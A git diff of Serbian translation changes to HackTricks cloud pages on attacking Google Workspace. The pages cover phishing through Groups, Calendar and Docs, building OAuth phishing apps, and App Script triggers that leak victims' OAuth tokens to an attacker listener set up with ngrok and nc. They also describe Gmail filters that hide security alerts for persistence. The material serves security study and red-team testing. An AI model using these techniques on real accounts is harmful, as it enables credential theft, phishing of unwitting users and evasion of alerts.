mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-02 19:10:06 -07:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Entry Points
|
||||
## Ulazne tačke
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
### Google platforme i phishing aplikacije sa OAuth
|
||||
|
||||
Proverite kako možete koristiti različite Google platforme kao što su Drive, Chat, Groups... da pošaljete žrtvi phishing link i kako da izvršite Google OAuth Phishing u:
|
||||
Proverite kako možete koristiti različite Google platforme kao što su Drive, Chat, Groups... da pošaljete žrtvi phishing link i kako da izvršite Google OAuth phishing u:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -16,7 +16,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
Da biste testirali lozinke sa svim emailovima koje ste pronašli (ili koje ste generisali na osnovu obrazaca imena emaila koje ste možda otkrili), možete koristiti alat kao što je [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (iako izgleda da nije održavan) koji će koristiti AWS lambde za promenu IP adrese.
|
||||
|
||||
## Post-Exploitation
|
||||
## Post-eksploatacija
|
||||
|
||||
Ako ste kompromitovali neke kredencijale ili sesiju korisnika, možete izvršiti nekoliko akcija da pristupite potencijalno osetljivim informacijama korisnika i pokušate da eskalirate privilegije:
|
||||
|
||||
@@ -32,17 +32,17 @@ Pročitajte više o različitim tehnikama za pivotiranje između GWS i GCP u:
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
## GWS <--> GCPW | GCDS | Sinhronizacija direktorijuma (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža tako da korisnici mogu da se prijave na svojim Windows PC-ima koristeći **svoje Workspace kredencijale**. Štaviše, ovo će **čuvati tokene za pristup Google Workspace-u** na nekim mestima na PC-u.
|
||||
- **GCDS (Google Cloud Directory Sync)**: Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace-om**. Alat zahteva **kredencijale superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da, može biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
- **GCPW (Google Credential Provider for Windows)**: Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnici mogli da se prijave na svoje Windows PC koristeći **svoje Workspace kredencijale**. Štaviše, ovo će **čuvati tokene za pristup Google Workspace** na nekim mestima na PC-u.
|
||||
- **GCDS (Google Cloud Directory Sync)**: Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace**. Alat zahteva **kredencijale superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
|
||||
- **Admin Directory Sync**: Omogućava vam da sinhronizujete korisnike iz AD i EntraID u serverless procesu sa [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## Postojanost
|
||||
|
||||
Ako ste kompromitovali neke kredencijale ili sesiju korisnika, proverite ove opcije za održavanje postojanosti:
|
||||
|
||||
@@ -50,22 +50,22 @@ Ako ste kompromitovali neke kredencijale ili sesiju korisnika, proverite ove opc
|
||||
gws-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Account Compromised Recovery
|
||||
## Oporavak kompromitovanog naloga
|
||||
|
||||
- Odjavite se iz svih sesija
|
||||
- Promenite lozinku korisnika
|
||||
- Generišite nove 2FA rezervne kodove
|
||||
- Uklonite App lozinke
|
||||
- Uklonite lozinke aplikacija
|
||||
- Uklonite OAuth aplikacije
|
||||
- Uklonite 2FA uređaje
|
||||
- Uklonite email prosledjivače
|
||||
- Uklonite email filtre
|
||||
- Uklonite prosledjivače emailova
|
||||
- Uklonite filtere za emailove
|
||||
- Uklonite email/telefone za oporavak
|
||||
- Uklonite zlonamerne sinhronizovane pametne telefone
|
||||
- Uklonite loše Android aplikacije
|
||||
- Uklonite loše delegacije naloga
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch i Beau Bullock - OK Google, Kako da Red Team GSuite?
|
||||
|
||||
@@ -12,7 +12,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
Naime, po default-u, članovi u workspace-u [**mogu kreirati grupe**](https://groups.google.com/all-groups) **i pozivati ljude u njih**. Zatim možete izmeniti email koji će biti poslat korisniku **dodajući neke linkove.** **Email će doći sa google adrese**, tako da će izgledati **legitimno** i ljudi bi mogli kliknuti na link.
|
||||
|
||||
Takođe je moguće postaviti **FROM** adresu kao **Google grupu email** da se pošalje **više emailova korisnicima unutar grupe**, kao na sledećoj slici gde je grupa **`google--support@googlegroups.com`** kreirana i **email je poslat svim članovima** grupe (koji su dodati bez ikakvog pristanka)
|
||||
Takođe je moguće postaviti **FROM** adresu kao **Google grupnu email adresu** da se pošalje **više emailova korisnicima unutar grupe**, kao na sledećoj slici gde je grupa **`google--support@googlegroups.com`** kreirana i **email je poslat svim članovima** grupe (koji su dodati bez ikakvog pristanka)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -29,8 +29,8 @@ Možete proveriti kako je to funkcionisalo u prošlosti na: [https://www.youtube
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
U prošlosti je bilo moguće kreirati **naizgled legitimni dokument** i u komentaru **spomenuti neku email adresu (kao što je @user@gmail.com)**. Google **je poslao email toj email adresi** obaveštavajući da su spomenuti u dokumentu.\
|
||||
Danas, to ne funkcioniše, ali ako **dajte žrtvi pristup dokumentu** Google će poslati email koji to ukazuje. Ovo je poruka koja se pojavljuje kada spomenete nekoga:
|
||||
U prošlosti je bilo moguće kreirati **naizgled legitimni dokument** i u komentaru **spomenuti neku email adresu (kao što je @user@gmail.com)**. Google **je poslao email toj adresi** obaveštavajući da su spomenuti u dokumentu.\
|
||||
Danas to ne funkcioniše, ali ako **dajte žrtvi pristup dokumentu** Google će poslati email koji to označava. Ovo je poruka koja se pojavljuje kada spomenete nekoga:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -41,13 +41,13 @@ Danas, to ne funkcioniše, ali ako **dajte žrtvi pristup dokumentu** Google će
|
||||
|
||||
Možete **kreirati kalendarski događaj** i dodati koliko god email adresa kompanije koju napadate imate. Zakazujte ovaj kalendarski događaj u **5 ili 15 minuta** od trenutnog vremena. Neka događaj izgleda legitimno i **stavite komentar i naslov koji ukazuje da treba da pročitaju nešto** (sa **phishing linkom**).
|
||||
|
||||
Ovo je upozorenje koje će se pojaviti u pretraživaču sa naslovom sastanka "Otpustiti ljude", tako da biste mogli postaviti naslov koji više liči na phishing (i čak promeniti ime povezano sa vašom email adresom).
|
||||
Ovo je upozorenje koje će se pojaviti u pretraživaču sa naslovom sastanka "Otpustanje ljudi", tako da biste mogli postaviti naslov koji više liči na phishing (i čak promeniti ime povezano sa vašom email adresom).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Da bi izgledalo manje sumnjivo:
|
||||
|
||||
- Postavite tako da **primalaci ne mogu videti druge ljude pozvane**
|
||||
- Postavite tako da **primalaci ne mogu videti druge pozvane ljude**
|
||||
- **NE šaljite emailove koji obaveštavaju o događaju**. Tada će ljudi samo videti svoje upozorenje o sastanku za 5 minuta i da treba da pročitaju taj link.
|
||||
- Naime, koristeći API možete postaviti na **True** da su **ljudi** **prihvatili** događaj i čak kreirati **komentare u njihovo ime**.
|
||||
|
||||
@@ -62,7 +62,7 @@ return HtmlService.createHtmlOutput(
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Na primer, pristupanjem [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) videćete:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,14 +79,14 @@ gws-app-scripts.md
|
||||
|
||||
## OAuth Apps Phishing
|
||||
|
||||
Bilo koja od prethodnih tehnika može se koristiti da se korisnik natera da pristupi **Google OAuth aplikaciji** koja će **tražiti** od korisnika neki **pristup**. Ako korisnik **veruje** **izvoru**, može **verovati** i **aplikaciji** (čak i ako traži visoke privilegije).
|
||||
Bilo koja od prethodnih tehnika može se koristiti da se korisnik natera da pristupi **Google OAuth aplikaciji** koja će **tražiti** od korisnika određeni **pristup**. Ako korisnik **veruje** **izvoru**, može **verovati** **aplikaciji** (čak i ako traži visoke privilegije).
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da Google prikazuje ružnu poruku upozorenja da je aplikacija nepouzdana u nekoliko slučajeva, a Workspace administratori čak mogu sprečiti ljude da prihvate OAuth aplikacije.
|
||||
> Imajte na umu da Google prikazuje ružnu poruku upozorenja da je aplikacija nepouzdana u nekoliko slučajeva, a Workspace administratori mogu čak sprečiti ljude da prihvate OAuth aplikacije.
|
||||
|
||||
**Google** omogućava kreiranje aplikacija koje mogu **interagovati u ime korisnika** sa nekoliko **Google servisa**: Gmail, Drive, GCP...
|
||||
|
||||
Kada se kreira aplikacija da **deluje u ime drugih korisnika**, programer treba da kreira **OAuth aplikaciju unutar GCP** i da označi opsege (dozvole) koje aplikacija treba da pristupi podacima korisnika.\
|
||||
Kada se kreira aplikacija da **deluje u ime drugih korisnika**, programer treba da kreira **OAuth aplikaciju unutar GCP** i da označi opsege (dozvole) kojima aplikacija treba pristupiti podacima korisnika.\
|
||||
Kada **korisnik** želi da **koristi** tu **aplikaciju**, biće **upitan** da **prihvati** da će aplikacija imati pristup njihovim podacima navedenim u opsezima.
|
||||
|
||||
Ovo je veoma primamljiv način da se **phish** netehnički korisnici u korišćenju **aplikacija koje pristupaju osetljivim informacijama** jer možda ne razumeju posledice. Međutim, u organizacijama postoje načini da se to spreči.
|
||||
@@ -98,21 +98,21 @@ Kao što je pomenuto, Google će uvek prikazati **poruku korisniku da prihvati**
|
||||
Ova poruka se pojavljuje u aplikacijama koje:
|
||||
|
||||
- Koriste bilo koji opseg koji može pristupiti privatnim podacima (Gmail, Drive, GCP, BigQuery...)
|
||||
- Aplikacije sa manje od 100 korisnika (aplikacije > 100 zahtevaju proces pregleda da bi prestale da prikazuju neproverenu poruku)
|
||||
- Aplikacije sa manje od 100 korisnika (za aplikacije sa više od 100 korisnika, takođe je potreban proces pregleda da bi se prestalo sa prikazivanjem nepouzdane poruke)
|
||||
|
||||
### Interesting Scopes
|
||||
|
||||
[**Ovde**](https://developers.google.com/identity/protocols/oauth2/scopes) možete pronaći listu svih Google OAuth opsega.
|
||||
|
||||
- **cloud-platform**: Pregledajte i upravljajte svojim podacima širom **Google Cloud Platform** servisa. Možete se pretvarati da ste korisnik u GCP.
|
||||
- **admin.directory.user.readonly**: Vidite i preuzmite direktorijum GSuite vaše organizacije. Dobijate imena, telefone, URL-ove kalendara svih korisnika.
|
||||
- **admin.directory.user.readonly**: Vidite i preuzmite direktorijum GSuite vaše organizacije. Dobijte imena, telefone, URL-ove kalendara svih korisnika.
|
||||
|
||||
### Create an OAuth App
|
||||
|
||||
**Započnite kreiranje OAuth Client ID**
|
||||
|
||||
1. Idite na [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) i kliknite na konfiguraciju ekrana za pristanak.
|
||||
2. Zatim, bićete upitani da li je **tip korisnika** **interni** (samo za ljude u vašoj organizaciji) ili **eksterni**. Izaberite onaj koji odgovara vašim potrebama
|
||||
2. Zatim, bićete upitani da li je **tip korisnika** **interni** (samo za ljude u vašoj organizaciji) ili **spoljašnji**. Izaberite onaj koji odgovara vašim potrebama
|
||||
- Interni može biti zanimljiv ako ste već kompromitovali korisnika organizacije i kreirate ovu aplikaciju da biste phishingovali drugog.
|
||||
3. Dajte **ime** aplikaciji, **email za podršku** (imajte na umu da možete postaviti googlegroup email da biste pokušali da se malo više anonimizujete), **logo**, **ovlašćene domene** i drugi **email** za **ažuriranja**.
|
||||
4. **Izaberite** **OAuth opsege**.
|
||||
@@ -120,15 +120,15 @@ Ova poruka se pojavljuje u aplikacijama koje:
|
||||
- I **`admin.directory.user.readonly`** i **`cloud-platform`** su osetljive dozvole.
|
||||
5. **Dodajte test korisnike.** Dok je status aplikacije testiranje, samo će ovi korisnici moći da pristupe aplikaciji, pa se pobrinite da **dodate email koji ćete phishingovati**.
|
||||
|
||||
Sada hajde da **dobijemo kredencijale za web aplikaciju** koristeći **prethodno kreirani OAuth Client ID**:
|
||||
Sada da dobijemo **akreditiv za web aplikaciju** koristeći **prethodno kreirani OAuth Client ID**:
|
||||
|
||||
1. Vratite se na [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), ovoga puta će se pojaviti druga opcija.
|
||||
2. Izaberite da **kreirate kredencijale za web aplikaciju**
|
||||
2. Izaberite da **kreirate akreditive za web aplikaciju**
|
||||
3. Postavite potrebne **Javascript izvore** i **URI za preusmeravanje**
|
||||
- Možete postaviti u oba nešto poput **`http://localhost:8000/callback`** za testiranje
|
||||
4. Dobijte svoje aplikacione **kredencijale**
|
||||
4. Dobijte akreditive vaše aplikacije
|
||||
|
||||
Na kraju, hajde da **pokrenemo web aplikaciju koja će koristiti kredencijale OAuth aplikacije**. Možete pronaći primer na [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
Na kraju, hajde da **pokrenemo web aplikaciju koja će koristiti akreditive OAuth aplikacije**. Možete pronaći primer na [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
@@ -139,7 +139,7 @@ Idite na **`http://localhost:8000`**, kliknite na dugme Prijavite se sa Google-o
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Aplikacija će prikazati **access i refresh token** koji se mogu lako koristiti. Za više informacija o **kako koristiti ove tokene proverite**:
|
||||
Aplikacija će prikazati **token za pristup i osvežavanje** koji se može lako koristiti. Za više informacija o **kako koristiti ove tokene proverite**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
|
||||
+28
-28
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts je **kod koji će se aktivirati kada korisnik sa dozvolom za uređivanje pristupi dokumentu sa kojim je povezan App Script** i nakon **prihvatanja OAuth prompta**.\
|
||||
App Scripts je **kod koji će se aktivirati kada korisnik sa dozvolom urednika pristupi dokumentu sa kojim je povezan App Script** i nakon **prihvatanja OAuth prompta**.\
|
||||
Takođe se mogu postaviti da se **izvršavaju svakog određenog vremena** od strane vlasnika App Script-a (Persistencija).
|
||||
|
||||
### Kreirajte App Script
|
||||
@@ -16,9 +16,9 @@ Postoji nekoliko načina za kreiranje App Script-a, iako su najčešći **iz Goo
|
||||
<summary>Kreirajte projekat vezan za kontejner iz Google Docs, Sheets ili Slides</summary>
|
||||
|
||||
1. Otvorite Docs dokument, Sheets tabelu ili Slides prezentaciju.
|
||||
2. Kliknite na **Ekstenzije** > **Google Apps Script**.
|
||||
3. U editoru skripti, kliknite na **Nepotpisani projekat**.
|
||||
4. Dajte svom projektu ime i kliknite na **Preimenuj**.
|
||||
2. Kliknite na **Extensions** > **Google Apps Script**.
|
||||
3. U editoru skripti, kliknite na **Untitled project**.
|
||||
4. Dajte svom projektu ime i kliknite na **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -29,9 +29,9 @@ Postoji nekoliko načina za kreiranje App Script-a, iako su najčešći **iz Goo
|
||||
Da biste kreirali samostalni projekat iz Apps Script-a:
|
||||
|
||||
1. Idite na [`script.google.com`](https://script.google.com/).
|
||||
2. Kliknite na **Novi projekat**.
|
||||
3. U editoru skripti, kliknite na **Nepotpisani projekat**.
|
||||
4. Dajte svom projektu ime i kliknite na **Preimenuj**.
|
||||
2. Kliknite na **New Project**.
|
||||
3. U editoru skripti, kliknite na **Untitled project**.
|
||||
4. Dajte svom projektu ime i kliknite na **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -40,7 +40,7 @@ Da biste kreirali samostalni projekat iz Apps Script-a:
|
||||
<summary>Kreirajte samostalni projekat iz Google Drive-a</summary>
|
||||
|
||||
1. Otvorite [Google Drive](https://drive.google.com/).
|
||||
2. Kliknite na **Novi** > **Više** > **Google Apps Script**.
|
||||
2. Kliknite na **New** > **More** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -49,9 +49,9 @@ Da biste kreirali samostalni projekat iz Apps Script-a:
|
||||
<summary>Kreirajte projekat vezan za kontejner iz Google Forms</summary>
|
||||
|
||||
1. Otvorite obrazac u Google Forms.
|
||||
2. Kliknite na Više more_vert > **Editor skripti**.
|
||||
3. U editoru skripti, kliknite na **Nepotpisani projekat**.
|
||||
4. Dajte svom projektu ime i kliknite na **Preimenuj**.
|
||||
2. Kliknite na More more_vert > **Script editor**.
|
||||
3. U editoru skripti, kliknite na **Untitled project**.
|
||||
4. Dajte svom projektu ime i kliknite na **Rename**.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -59,28 +59,28 @@ Da biste kreirali samostalni projekat iz Apps Script-a:
|
||||
|
||||
<summary>Kreirajte samostalni projekat koristeći clasp komandnu liniju</summary>
|
||||
|
||||
`clasp` je alat komandne linije koji vam omogućava da kreirate, povlačite/pomerate i implementirate Apps Script projekte iz terminala.
|
||||
`clasp` je alat za komandnu liniju koji vam omogućava da kreirate, povlačite/pomerate i implementirate Apps Script projekte iz terminala.
|
||||
|
||||
Pogledajte [Vodič za komandnu liniju koristeći `clasp`](https://developers.google.com/apps-script/guides/clasp) za više detalja.
|
||||
|
||||
</details>
|
||||
|
||||
## Scenarijo App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Kreirajte Google Sheet sa App Script-om
|
||||
|
||||
Započnite kreiranjem App Script-a, moja preporuka za ovaj scenario je da kreirate Google Sheet i idete na **`Ekstenzije > App Scripts`**, ovo će otvoriti **novi App Script za vas povezan sa tabelom**.
|
||||
Započnite kreiranjem App Script-a, moja preporuka za ovaj scenario je da kreirate Google Sheet i idete na **`Extensions > App Scripts`**, ovo će otvoriti **novi App Script za vas povezan sa tabelom**.
|
||||
|
||||
### Leak token
|
||||
|
||||
Da biste omogućili pristup OAuth tokenu, potrebno je da kliknete na **`Servisi +` i dodate opsege kao**:
|
||||
Da biste omogućili pristup OAuth tokenu, potrebno je da kliknete na **`Services +` i dodate opsege kao**:
|
||||
|
||||
- **AdminDirectory**: Pristup korisnicima i grupama u direktorijumu (ako korisnik ima dovoljno dozvola)
|
||||
- **AdminDirectory**: Pristup korisnicima i grupama direktorijuma (ako korisnik ima dovoljno dozvola)
|
||||
- **Gmail**: Da biste pristupili gmail podacima
|
||||
- **Drive**: Da biste pristupili podacima sa diska
|
||||
- **Google Sheets API**: Da bi radilo sa okidačem
|
||||
|
||||
Da biste promenili **potrebne opsege**, možete otići na podešavanja projekta i omogućiti: **`Prikaži "appsscript.json" manifest fajl u editoru`.**
|
||||
Da biste promenili **potrebne opsege**, možete otići na podešavanja projekta i omogućiti: **`Show "appsscript.json" manifest file in editor`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
@@ -133,7 +133,7 @@ Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
Da biste uhvatili zahtev, jednostavno možete pokrenuti:
|
||||
Da biste uhvatili zahtev, jednostavno pokrenite:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
@@ -147,26 +147,26 @@ Permissions requested to execute the App Script:
|
||||
|
||||
### Create Trigger
|
||||
|
||||
Kada se aplikacija pročita, kliknite na **⏰ Triggers** da kreirate okidač. Kao **funkciju** izaberite **`getToken`**, pokreće se na implementaciji **`Head`**, u izvoru događaja izaberite **`From spreadsheet`** i tip događaja izaberite **`On open`** ili **`On edit`** (u zavisnosti od vaših potreba) i sačuvajte.
|
||||
Kada se aplikacija pročita, kliknite na **⏰ Triggers** da biste kreirali okidač. Kao **funkciju** za pokretanje izaberite **`getToken`**, pokreće se na implementaciji **`Head`**, u izvoru događaja izaberite **`From spreadsheet`** i tip događaja izaberite **`On open`** ili **`On edit`** (u zavisnosti od vaših potreba) i sačuvajte.
|
||||
|
||||
Napomena: možete proveriti **izvršenja App Scripts u kartici Executions** ako želite da debagujete nešto.
|
||||
|
||||
### Sharing
|
||||
|
||||
Da bi se **pokrenuo** **App Script**, žrtva treba da se poveže sa **Editor Access**.
|
||||
Da biste **pokrenuli** **App Script**, žrtva treba da se poveže sa **Editor Access**.
|
||||
|
||||
> [!TIP]
|
||||
> **Token** koji se koristi za izvršenje **App Script** biće onaj od **kreatora okidača**, čak i ako je datoteka otvorena kao Editor od strane drugih korisnika.
|
||||
> **Token** koji se koristi za izvršavanje **App Script** biće onaj od **kreatora okidača**, čak i ako je datoteka otvorena kao Editor od strane drugih korisnika.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
|
||||
> [!CAUTION]
|
||||
> Ako vam je neko **podelio dokument sa App Scripts i okidačem koristeći Head** App Script-a (ne fiksnu implementaciju), možete modifikovati kod App Script-a (dodajući, na primer, funkcije za krađu tokena), pristupiti mu, i **App Script će biti izvršen sa dozvolama korisnika koji je podelio dokument sa vama**! (napomena: OAuth token vlasnika će imati pristupne opsege koje su date kada je okidač kreiran).
|
||||
> Ako vam je neko **podelio dokument sa App Scripts i okidačem koristeći Head** App Script-a (ne fiksnu implementaciju), možete izmeniti kod App Script-a (dodajući, na primer, funkcije za krađu tokena), pristupiti mu, i **App Script će biti izvršen sa dozvolama korisnika koji je podelio dokument sa vama**! (napomena: OAuth token vlasnika će imati pristupne opsege one koje su date kada je okidač kreiran).
|
||||
>
|
||||
> **Obaveštenje će biti poslato kreatoru skripte koje ukazuje da je neko modifikovao skriptu** (Šta mislite o korišćenju gmail dozvola za generisanje filtera kako bi se sprečila upozorenja?)
|
||||
> **Obaveštenje će biti poslato kreatoru skripte koje ukazuje da je neko izmenio skriptu** (Šta kažete na korišćenje gmail dozvola za generisanje filtera kako bi se sprečila upozorenja?)
|
||||
|
||||
> [!TIP]
|
||||
> Ako **napadač modifikuje opsege App Script-a**, ažuriranja **neće biti primenjena** na dokument dok se ne kreira **novi okidač** sa izmenama. Stoga, napadač neće moći da ukrade token vlasnika kreatora sa više opsega nego što je postavio u okidaču koji je kreirao.
|
||||
> Ako **napadač izmeni opsege App Script-a**, ažuriranja **neće biti primenjena** na dokument dok se ne kreira **novi okidač** sa izmenama. Stoga, napadač neće moći da ukrade token vlasnika kreatora sa više opsega nego što je postavio u okidaču koji je kreirao.
|
||||
|
||||
### Copying instead of sharing
|
||||
|
||||
@@ -202,7 +202,7 @@ curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
|
||||
Jedna opcija za persistenciju bi bila da **napravite dokument i dodate okidač za funkciju getToken** i podelite dokument sa napadačem tako da svaki put kada napadač otvori datoteku, on **izvlači token žrtve.**
|
||||
|
||||
Takođe je moguće napraviti App Script i postaviti ga da se aktivira svakih X vremena (kao svake minute, sata, dana...). Napadač koji je **kompromitovao akreditive ili sesiju žrtve mogao bi postaviti vremenski okidač za App Script i svaki dan** da izlaže veoma privilegovan OAuth token:
|
||||
Takođe je moguće napraviti App Script i postaviti ga da se aktivira svakih X vremena (kao svake minute, sata, dana...). Napadač koji ima **kompromitovane akreditive ili sesiju žrtve može postaviti vremenski okidač za App Script i svaki dan izložiti veoma privilegovan OAuth token**:
|
||||
|
||||
Jednostavno napravite App Script, idite na Okidače, kliknite na Dodaj Okidač, i izaberite kao izvor događaja Vremenski okidač i izaberite opcije koje vam najbolje odgovaraju:
|
||||
|
||||
@@ -216,12 +216,12 @@ Jednostavno napravite App Script, idite na Okidače, kliknite na Dodaj Okidač,
|
||||
Štaviše, ako vam je neko **podelio** dokument sa **pristupom za uređivanje**, možete generisati **App Scripts unutar dokumenta** i **VLASNIK (kreator) dokumenta će biti vlasnik App Script-a**.
|
||||
|
||||
> [!WARNING]
|
||||
> To znači da će **kreator dokumenta izgledati kao kreator bilo kog App Script-a** koji bilo ko sa pristupom za uređivanje kreira unutar njega.
|
||||
> To znači da će se **kreator dokumenta pojaviti kao kreator bilo kog App Script-a** koji bilo ko sa pristupom za uređivanje kreira unutar njega.
|
||||
>
|
||||
> To takođe znači da će **App Script biti poveren od strane Workspace okruženja** kreatora dokumenta.
|
||||
|
||||
> [!CAUTION]
|
||||
> To takođe znači da ako je **App Script već postojao** i ljudi su **dali pristup**, bilo ko sa **Editor** dozvolom na dokumentu može **modifikovati i zloupotrebiti taj pristup.**\
|
||||
> Da biste zloupotrebili ovo, takođe vam je potrebno da ljudi aktiviraju App Script. A jedan zgodan trik je da **objavite skriptu kao web aplikaciju**. Kada **ljudi** koji su već dali **pristup** App Script-u pristupe web stranici, oni će **aktivirati App Script** (ovo takođe funkcioniše koristeći `<img>` tagove).
|
||||
> To takođe znači da ako je **App Script već postojao** i ljudi su **dali pristup**, bilo ko sa **pristupom za uređivanje** na dokumentu može **modifikovati i zloupotrebiti taj pristup.**\
|
||||
> Da biste zloupotrebili ovo, takođe vam je potrebno da ljudi aktiviraju App Script. Jedan pametan trik je da **objavite skriptu kao web aplikaciju**. Kada **ljudi** koji su već dali **pristup** App Script-u pristupe web stranici, oni će **aktivirati App Script** (ovo takođe funkcioniše koristeći `<img>` tagove).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,25 +1,25 @@
|
||||
# GWS - Persistence
|
||||
# GWS - Persistencija
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Sve akcije navedene u ovom odeljku koje menjaju postavke generisaće **bezbednosno obaveštenje na email i čak push obaveštenje na bilo koji mobilni uređaj sinhronizovan** sa nalogom.
|
||||
> Sve radnje navedene u ovom odeljku koje menjaju podešavanja generisaće **bezbednosno upozorenje na email i čak push obaveštenje na bilo koji mobilni uređaj sinhronizovan** sa nalogom.
|
||||
|
||||
## **Persistencija u Gmail-u**
|
||||
|
||||
- Možete kreirati **filtre za sakrivanje** bezbednosnih obaveštenja od Google-a
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- Ovo će sprečiti da bezbednosni emailovi stignu na email (ali neće sprečiti push obaveštenja na mobilni)
|
||||
- Ovo će sprečiti bezbednosne emailove da stignu na email (ali neće sprečiti push obaveštenja na mobilni)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Koraci za kreiranje gmail filtera</summary>
|
||||
|
||||
(Uputstva [**ovde**](https://support.google.com/mail/answer/6579))
|
||||
(Uputstva iz [**ovde**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Otvorite [Gmail](https://mail.google.com/).
|
||||
2. U pretraživaču na vrhu, kliknite na Prikaži opcije pretrage .
|
||||
3. Unesite svoje kriterijume pretrage. Ako želite da proverite da li je vaša pretraga ispravno funkcionisala, pogledajte koji emailovi se pojavljuju klikom na **Pretraži**.
|
||||
3. Unesite svoje kriterijume pretrage. Ako želite da proverite da li je vaša pretraga ispravno funkcionisala, pogledajte koji se emailovi pojavljuju klikom na **Pretraži**.
|
||||
4. Na dnu prozora pretrage, kliknite na **Kreiraj filter**.
|
||||
5. Izaberite šta želite da filter radi.
|
||||
6. Kliknite na **Kreiraj filter**.
|
||||
@@ -30,10 +30,10 @@ Proverite svoj trenutni filter (da ih obrišete) na [https://mail.google.com/mai
|
||||
|
||||
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
